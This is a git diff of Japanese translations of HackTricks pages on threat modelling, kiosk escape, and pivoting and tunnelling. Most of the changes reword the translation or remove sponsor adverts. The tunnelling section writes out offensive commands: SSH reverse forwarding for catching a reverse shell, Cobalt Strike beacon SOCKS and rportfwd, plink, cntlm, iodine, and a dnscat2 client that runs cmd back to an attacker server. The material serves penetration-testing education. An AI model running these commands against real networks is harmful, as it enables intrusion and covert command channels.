AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,62 +1,49 @@
|
|||
# 脅威モデリング
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難型マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックし、エンジンを**無料**で試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 脅威モデリング
|
||||
|
||||
脅威モデリングに関するHackTricksの包括的なガイドへようこそ!サイバーセキュリティの重要な側面である脅威モデリングについて、システム内の潜在的な脆弱性を特定し、理解し、戦略を立てる探求を始めましょう。このスレッドは、実践的な例、役立つソフトウェア、わかりやすい説明が詰まったステップバイステップのガイドとして、セキュリティの防御を強化したい初心者や経験豊富な実務家に最適です。
|
||||
HackTricksの脅威モデリングに関する包括的なガイドへようこそ!サイバーセキュリティのこの重要な側面を探求し、システム内の潜在的な脆弱性を特定、理解、戦略を立てます。このスレッドは、実際の例、役立つソフトウェア、わかりやすい説明が詰まったステップバイステップのガイドとして機能します。初心者から経験豊富な実践者まで、サイバーセキュリティの防御を強化したい方に最適です。
|
||||
|
||||
### よく使用されるシナリオ
|
||||
### 一般的に使用されるシナリオ
|
||||
|
||||
1. **ソフトウェア開発**:セキュアソフトウェア開発ライフサイクル(SSDLC)の一環として、脅威モデリングは開発初期段階での**潜在的な脆弱性の特定**に役立ちます。
|
||||
2. **ペネトレーションテスト**:ペネトレーションテスト実行標準(PTES)フレームワークでは、**システムの脆弱性を理解するための脅威モデリング**がテストの実施前に必要です。
|
||||
1. **ソフトウェア開発**: セキュアソフトウェア開発ライフサイクル(SSDLC)の一環として、脅威モデリングは**開発の初期段階で潜在的な脆弱性の源を特定する**のに役立ちます。
|
||||
2. **ペネトレーションテスト**: ペネトレーションテスト実行標準(PTES)フレームワークは、テストを実施する前に**システムの脆弱性を理解するための脅威モデリングを要求します**。
|
||||
|
||||
### 脅威モデルの要点
|
||||
### 脅威モデルの概要
|
||||
|
||||
脅威モデルは通常、アプリケーションの計画されたアーキテクチャや既存の構築を示す図表、画像、または他の視覚的な表現として表されます。これは**データフローダイアグラム**に似ていますが、そのセキュリティ指向の設計において異なる点があります。
|
||||
脅威モデルは通常、アプリケーションの計画されたアーキテクチャまたは既存の構築を示す図、画像、または他の形式の視覚的なイラストレーションとして表現されます。これは**データフローダイアグラム**に似ていますが、重要な違いはそのセキュリティ指向の設計にあります。
|
||||
|
||||
脅威モデルには、潜在的な脆弱性、リスク、または障壁を示す赤でマークされた要素がしばしば含まれます。リスクの特定プロセスを効率化するために、CIA(機密性、整合性、可用性)トライアドが使用され、STRIDEが最も一般的なものの1つです。ただし、選択される方法論は、特定の文脈や要件に応じて異なる場合があります。
|
||||
脅威モデルには、潜在的な脆弱性、リスク、または障壁を象徴する赤でマークされた要素がしばしば含まれています。リスクの特定プロセスを簡素化するために、CIA(機密性、完全性、可用性)トライアドが使用され、多くの脅威モデリング手法の基礎を形成しています。STRIDEは最も一般的なものの一つです。ただし、選択された手法は特定の文脈や要件に応じて異なる場合があります。
|
||||
|
||||
### CIAトライアド
|
||||
|
||||
CIAトライアドは、情報セキュリティ分野で広く認識されており、機密性、整合性、可用性を表しています。これらの3つの柱は、脅威モデリング方法論を含む多くのセキュリティ対策やポリシーの基盤を形成しており、それぞれの脅威モデリング方法論の基礎となっています。
|
||||
CIAトライアドは、情報セキュリティの分野で広く認識されているモデルで、機密性、完全性、可用性を表します。この3つの柱は、多くのセキュリティ対策やポリシーの基盤を形成し、脅威モデリング手法も含まれます。
|
||||
|
||||
1. **機密性**:データやシステムが不正な個人によってアクセスされないようにすること。これはセキュリティの中心的な側面であり、データ漏洩を防ぐために適切なアクセス制御、暗号化、およびその他の対策が必要です。
|
||||
2. **整合性**:データの正確性、一貫性、信頼性をデータのライフサイクル全体で確保すること。この原則は、データが不正な者によって変更されたり改ざんされたりしないようにします。これには、チェックサム、ハッシュ、およびその他のデータ検証方法がしばしば含まれます。
|
||||
3. **可用性**:データとサービスが必要な時に認証されたユーザーにアクセス可能であることを確保すること。これには、システムが障害に直面しても稼働し続けるようにするための冗長性、障害耐性、高可用性構成がしばしば含まれます。
|
||||
1. **機密性**: データやシステムが不正な個人によってアクセスされないことを保証します。これはセキュリティの中心的な側面であり、データ侵害を防ぐために適切なアクセス制御、暗号化、その他の対策が必要です。
|
||||
2. **完全性**: データのライフサイクルにわたる正確性、一貫性、信頼性。これは、データが不正な当事者によって変更または改ざんされないことを保証します。通常、チェックサム、ハッシュ、その他のデータ検証方法が含まれます。
|
||||
3. **可用性**: データとサービスが必要なときに正当なユーザーにアクセス可能であることを保証します。これは、冗長性、フォールトトレランス、高可用性の構成を含むことが多く、システムが中断に直面しても稼働し続けることを目的としています。
|
||||
|
||||
### 脅威モデリング方法論
|
||||
### 脅威モデリング手法
|
||||
|
||||
1. **STRIDE**:Microsoftによって開発されたSTRIDEは、**スプーフィング、改ざん、否認、情報開示、サービス妨害、特権昇格**を表す頭字語です。各カテゴリは脅威のタイプを表し、この方法論は潜在的な脅威を特定するためにプログラムやシステムの設計段階で一般的に使用されます。
|
||||
2. **DREAD**:これはMicrosoftの別の方法論で、特定された脅威のリスク評価に使用されます。DREADは**損害の可能性、再現性、悪用可能性、影響を受けるユーザー、発見可能性**を表しています。これらの要素はスコア付けされ、その結果は特定された脅威の優先順位付けに使用されます。
|
||||
3. **PASTA**(攻撃シミュレーションおよび脅威分析プロセス):これは7つのステップからなる**リスク中心**の方法論です。セキュリティ目標の定義と特定、技術的範囲の作成、アプリケーション分解、脅威分析、脆弱性分析、リスク/トリアージ評価を含みます。
|
||||
4. **Trike**:これは資産の防御に焦点を当てたリスクベースの方法論です。リスク管理の観点から始まり、その文脈で脅威と脆弱性を考えます。
|
||||
5. **VAST**(ビジュアル、アジャイル、シンプル脅威モデリング):このアプローチは、アジャイル開発環境に統合されやすく、アクセスしやすいことを目指しています。他の方法論から要素を組み合わせ、**脅威の視覚的表現**に焦点を当てています。
|
||||
6. **OCTAVE**(運用上重要な脅威、資産、脆弱性評価):CERT Coordination Centerによって開発されたこのフレームワークは、**特定のシステムやソフトウェアではなく組織のリスク評価**に向けられています。
|
||||
1. **STRIDE**: Microsoftによって開発されたSTRIDEは、**なりすまし、改ざん、否認、情報漏洩、サービス拒否、特権昇格**の頭字語です。各カテゴリは脅威のタイプを表し、この手法はプログラムやシステムの設計段階で潜在的な脅威を特定するために一般的に使用されます。
|
||||
2. **DREAD**: これは、特定された脅威のリスク評価に使用されるMicrosoftの別の手法です。DREADは、**損害の可能性、再現性、悪用可能性、影響を受けるユーザー、発見可能性**の頭字語です。これらの要素はそれぞれスコア付けされ、その結果を使用して特定された脅威の優先順位を決定します。
|
||||
3. **PASTA**(攻撃シミュレーションと脅威分析のプロセス): これは7ステップの**リスク中心**の手法です。セキュリティ目標の定義と特定、技術的範囲の作成、アプリケーションの分解、脅威分析、脆弱性分析、リスク/トリアージ評価が含まれます。
|
||||
4. **Trike**: これは資産を防御することに焦点を当てたリスクベースの手法です。**リスク管理**の視点から始まり、その文脈で脅威と脆弱性を見ます。
|
||||
5. **VAST**(視覚的、アジャイル、シンプルな脅威モデリング): このアプローチは、よりアクセスしやすく、アジャイル開発環境に統合されることを目指しています。他の手法の要素を組み合わせ、**脅威の視覚的表現**に焦点を当てています。
|
||||
6. **OCTAVE**(運用上重要な脅威、資産、脆弱性評価): CERTコーディネーションセンターによって開発されたこのフレームワークは、**特定のシステムやソフトウェアではなく、組織のリスク評価**を目的としています。
|
||||
|
||||
## ツール
|
||||
|
||||
脅威モデルの作成と管理を**支援**するために利用可能ないくつかのツールやソフトウェアソリューションがあります。以下は、検討する価値のあるいくつかのものです。
|
||||
脅威モデルの作成と管理を**支援**するために利用できるツールやソフトウェアソリューションがいくつかあります。以下は、検討する価値のあるいくつかのツールです。
|
||||
|
||||
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
|
||||
|
||||
サイバーセキュリティ専門家向けの高度なクロスプラットフォームおよび多機能GUIウェブスパイダー/クローラーです。Spider Suiteは攻撃面のマッピングと分析に使用できます。
|
||||
サイバーセキュリティ専門家向けの高度なクロスプラットフォームおよび多機能GUIウェブスパイダー/クローラー。Spider Suiteは攻撃面のマッピングと分析に使用できます。
|
||||
|
||||
**使用方法**
|
||||
**使用法**
|
||||
|
||||
1. URLを選択してクロール
|
||||
1. URLを選択し、クロール
|
||||
|
||||
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -66,19 +53,19 @@ CIAトライアドは、情報セキュリティ分野で広く認識されて
|
|||
|
||||
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
|
||||
|
||||
OWASPのオープンソースプロジェクトであるThreat Dragonは、システムダイアグラム作成と脅威/緩和の自動生成のためのルールエンジンを含むWebおよびデスクトップアプリケーションです。
|
||||
OWASPのオープンソースプロジェクトであるThreat Dragonは、システムダイアグラム作成と脅威/緩和策を自動生成するルールエンジンを含むウェブおよびデスクトップアプリケーションです。
|
||||
|
||||
**使用方法**
|
||||
**使用法**
|
||||
|
||||
1. 新しいプロジェクトを作成
|
||||
|
||||
<figure><img src="../.gitbook/assets/create_new_project_1.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
時々、以下のように見えるかもしれません:
|
||||
時にはこのように見えることもあります:
|
||||
|
||||
<figure><img src="../.gitbook/assets/1_threatmodel_create_project.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. 新しいプロジェクトを起動
|
||||
2. 新しいプロジェクトを開始
|
||||
|
||||
<figure><img src="../.gitbook/assets/launch_new_project_2.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -88,49 +75,38 @@ OWASPのオープンソースプロジェクトであるThreat Dragonは、シ
|
|||
|
||||
4. モデルを作成
|
||||
|
||||
SpiderSuite Crawlerなどのツールを使用して、基本的なモデルは次のようになります
|
||||
SpiderSuite Crawlerのようなツールを使用してインスピレーションを得ることができます。基本的なモデルは次のようになります。
|
||||
|
||||
<figure><img src="../.gitbook/assets/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
エンティティについて少し説明します:
|
||||
エンティティについての簡単な説明:
|
||||
|
||||
* プロセス(WebサーバーやWeb機能などのエンティティ自体)
|
||||
* アクター(Webサイトの訪問者、ユーザー、管理者などの人物)
|
||||
* プロセス(Webサーバーやウェブ機能などのエンティティ自体)
|
||||
* アクター(ウェブサイト訪問者、ユーザー、管理者などの人)
|
||||
* データフローライン(相互作用の指標)
|
||||
* 信頼境界(異なるネットワークセグメントやスコープ)
|
||||
* ストア(データが保存される場所、例:データベース)
|
||||
* ストア(データが保存される場所、例えばデータベース)
|
||||
|
||||
5. 脅威を作成(ステップ1)
|
||||
|
||||
最初に脅威を追加したいレイヤーを選択する必要があります
|
||||
脅威を追加したいレイヤーを選択する必要があります。
|
||||
|
||||
<figure><img src="../.gitbook/assets/3_threatmodel_chose-threat-layer.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
今、脅威を作成できます
|
||||
脅威を作成できます。
|
||||
|
||||
<figure><img src="../.gitbook/assets/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
アクター脅威とプロセス脅威の違いに注意してください。アクターに脅威を追加すると、「スプーフィング」と「否認」のみを選択できます。ただし、この例ではプロセスエンティティに脅威を追加するため、脅威作成ボックスには次のように表示されます:
|
||||
アクターモデルの脅威とプロセスモデルの脅威には違いがあることに注意してください。アクターに脅威を追加する場合、「なりすまし」と「否認」しか選択できません。しかし、私たちの例ではプロセスエンティティに脅威を追加するので、脅威作成ボックスには次のように表示されます:
|
||||
|
||||
<figure><img src="../.gitbook/assets/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
6. 完了
|
||||
|
||||
これで、完成したモデルは次のようになります。これがOWASP Threat Dragonを使用してシンプルな脅威モデルを作成する方法です。
|
||||
完成したモデルは次のようになります。これがOWASP Threat Dragonを使用してシンプルな脅威モデルを作成する方法です。
|
||||
|
||||
<figure><img src="../.gitbook/assets/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
|
||||
|
||||
これはMicrosoftからの無料ツールで、ソフトウェアプロジェクトの設計フェーズで脅威を見つけるのに役立ちます。STRIDEメソドロジーを使用し、特にMicrosoftのスタックで開発している人に適しています。
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックするための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
これはMicrosoftからの無料ツールで、ソフトウェアプロジェクトの設計段階で脅威を見つけるのに役立ちます。STRIDE手法を使用しており、特にMicrosoftのスタックで開発している人に適しています。
|
||||
|
|
|
@ -10,19 +10,11 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Nmapのヒント
|
||||
|
||||
{% hint style="warning" %}
|
||||
|
@ -79,7 +71,7 @@ ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port
|
|||
```
|
||||
### リバースポートフォワーディング
|
||||
|
||||
これは、DMZを通じて内部ホストからあなたのホストへのリバースシェルを取得するのに役立ちます:
|
||||
これは、DMZを通じて内部ホストからあなたのホストにリバースシェルを取得するのに役立ちます:
|
||||
```bash
|
||||
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
|
||||
|
@ -156,7 +148,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
|||
|
||||
### SOCKSプロキシ
|
||||
|
||||
すべてのインターフェースでリッスンしているチームサーバーにポートを開き、**ビコーンを通じてトラフィックをルーティングする**ことができます。
|
||||
すべてのインターフェースでリッスンしているteamserverでポートを開き、**ビコーンを通じてトラフィックをルーティングする**ことができます。
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
|
@ -167,7 +159,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
|||
### rPort2Port
|
||||
|
||||
{% hint style="warning" %}
|
||||
この場合、**ポートはビーコーンホストで開かれます**、チームサーバーではなく、トラフィックはチームサーバーに送信され、そこから指定されたホスト:ポートに送られます。
|
||||
この場合、**ポートはビーコーンホストで開かれます**。チームサーバーではなく、トラフィックはチームサーバーに送信され、そこから指定されたホスト:ポートに送られます。
|
||||
{% endhint %}
|
||||
```bash
|
||||
rportfwd [bind port] [forward host] [forward port]
|
||||
|
@ -302,7 +294,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
|||
```
|
||||
## Plink.exe
|
||||
|
||||
コンソール版のPuTTYのようなもので(オプションはsshクライアントに非常に似ています)。
|
||||
これはコンソール版のPuTTYのようなもので(オプションはsshクライアントに非常に似ています)。
|
||||
|
||||
このバイナリは被害者のコンピュータで実行され、sshクライアントであるため、リバース接続を確立するためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを私たちのマシンのポートに転送するには:
|
||||
```bash
|
||||
|
@ -328,8 +320,8 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||
**システムへのRDPアクセスが必要です**。\
|
||||
ダウンロード:
|
||||
|
||||
1. [SocksOverRDP x64 バイナリ](https://github.com/nccgroup/SocksOverRDP/releases) - このツールは、Windowsのリモートデスクトップサービス機能からの`Dynamic Virtual Channels`(`DVC`)を使用します。DVCは**RDP接続を介してパケットをトンネリングする**役割を担っています。
|
||||
2. [Proxifier ポータブルバイナリ](https://www.proxifier.com/download/#win-tab)
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - このツールは、Windowsのリモートデスクトップサービス機能からの`Dynamic Virtual Channels`(`DVC`)を使用します。DVCは**RDP接続を介してパケットをトンネリングする**役割を担っています。
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
クライアントコンピュータで**`SocksOverRDP-Plugin.dll`**を次のように読み込みます:
|
||||
```bash
|
||||
|
@ -346,13 +338,13 @@ C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
|||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
今、[**Proxifier**](https://www.proxifier.com/) **を使用してそのポートを通じてトラフィックをプロキシできます。**
|
||||
今、[**Proxifier**](https://www.proxifier.com/) **を使用して、そのポートを通じてトラフィックをプロキシできます。**
|
||||
|
||||
## Windows GUIアプリをプロキシ化する
|
||||
|
||||
[**Proxifier**](https://www.proxifier.com/)を使用して、Windows GUIアプリがプロキシを通じてナビゲートできるようにします。\
|
||||
[**Proxifier**](https://www.proxifier.com/)を使用して、Windows GUIアプリをプロキシ経由でナビゲートさせることができます。\
|
||||
**Profile -> Proxy Servers** でSOCKSサーバーのIPとポートを追加します。\
|
||||
**Profile -> Proxification Rules** でプロキシ化するプログラムの名前とプロキシ化したいIPへの接続を追加します。
|
||||
**Profile -> Proxification Rules** でプロキシ化するプログラムの名前と、プロキシ化したいIPへの接続を追加します。
|
||||
|
||||
## NTLMプロキシバイパス
|
||||
|
||||
|
@ -365,7 +357,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
|||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
プロキシに対して認証を行い、指定した外部サービスに転送されるローカルポートをバインドします。これにより、このポートを介してお好みのツールを使用できます。\
|
||||
プロキシに対して認証を行い、指定した外部サービスに転送されるローカルポートをバインドします。これにより、このポートを通じてお好みのツールを使用できます。\
|
||||
例えば、ポート443を転送します。
|
||||
```
|
||||
Username Alice
|
||||
|
@ -375,7 +367,7 @@ Proxy 10.0.0.10:8080
|
|||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
今、例えば被害者の**SSH**サービスをポート443でリッスンするように設定した場合、攻撃者はポート2222を通じて接続できます。\
|
||||
また、**meterpreter**を使用してlocalhost:443に接続し、攻撃者がポート2222でリッスンしていることも可能です。
|
||||
また、**meterpreter**を使用してlocalhost:443に接続し、攻撃者がポート2222でリッスンしていることもできます。
|
||||
|
||||
## YARP
|
||||
|
||||
|
@ -387,7 +379,7 @@ Microsoftによって作成されたリバースプロキシです。こちら
|
|||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
DNSクエリを使用してトンネルデータを作成するためには、両方のシステムでroot権限が必要です。
|
||||
両方のシステムでルート権限が必要で、DNSクエリを使用してトンネルアダプタを作成し、データをそれらの間でトンネルします。
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
|
@ -412,7 +404,7 @@ victim> ./dnscat2 --dns host=10.10.10.10,port=5353
|
|||
```
|
||||
#### **PowerShellで**
|
||||
|
||||
[**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)を使用して、PowerShellでdnscat2クライアントを実行できます:
|
||||
[**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell)を使用して、PowerShellでdnscat2クライアントを実行できます:
|
||||
```
|
||||
Import-Module .\dnscat2.ps1
|
||||
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
||||
|
@ -424,7 +416,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
|||
```
|
||||
#### プロキシチェインのDNSを変更する
|
||||
|
||||
Proxychainsは`gethostbyname` libcコールをインターセプトし、tcp DNSリクエストをsocksプロキシを通してトンネリングします。**デフォルト**では、proxychainsが使用する**DNS**サーバーは**4.2.2.2**(ハードコーディングされています)。これを変更するには、ファイルを編集します: _/usr/lib/proxychains3/proxyresolv_ そしてIPを変更します。**Windows環境**にいる場合は、**ドメインコントローラー**のIPを設定できます。
|
||||
Proxychainsは`gethostbyname` libcコールをインターセプトし、tcp DNSリクエストをsocksプロキシを通じてトンネリングします。**デフォルト**では、proxychainsが使用する**DNS**サーバーは**4.2.2.2**(ハードコーディングされています)。これを変更するには、ファイルを編集します: _/usr/lib/proxychains3/proxyresolv_ そしてIPを変更します。**Windows環境**にいる場合は、**ドメインコントローラー**のIPを設定できます。
|
||||
|
||||
## Goでのトンネル
|
||||
|
||||
|
@ -495,7 +487,7 @@ chmod a+x ./ngrok
|
|||
```
|
||||
#### HTTPコールのスニッフィング
|
||||
|
||||
*XSS、SSRF、SSTIに便利...*
|
||||
*XSS、SSRF、SSTIに役立ちます...*
|
||||
stdoutから直接、またはHTTPインターフェース [http://127.0.0.1:4040](http://127.0.0.1:4000) で。
|
||||
|
||||
#### 内部HTTPサービスのトンネリング
|
||||
|
@ -509,7 +501,7 @@ stdoutから直接、またはHTTPインターフェース [http://127.0.0.1:404
|
|||
|
||||
3つのトンネルを開きます:
|
||||
- 2つのTCP
|
||||
- 1つのHTTP、/tmp/httpbin/ からの静的ファイルの公開
|
||||
- /tmp/httpbin/ からの静的ファイルの公開を伴う1つのHTTP
|
||||
```yaml
|
||||
tunnels:
|
||||
mytcp:
|
||||
|
@ -527,14 +519,6 @@ addr: file:///tmp/httpbin/
|
|||
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -545,7 +529,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,86 +1,76 @@
|
|||
# KIOSKからの脱出
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングの学習と実践:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングの学習と実践: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksのサポート</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングテクニックを共有してください。
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗聴マルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
|
||||
|
||||
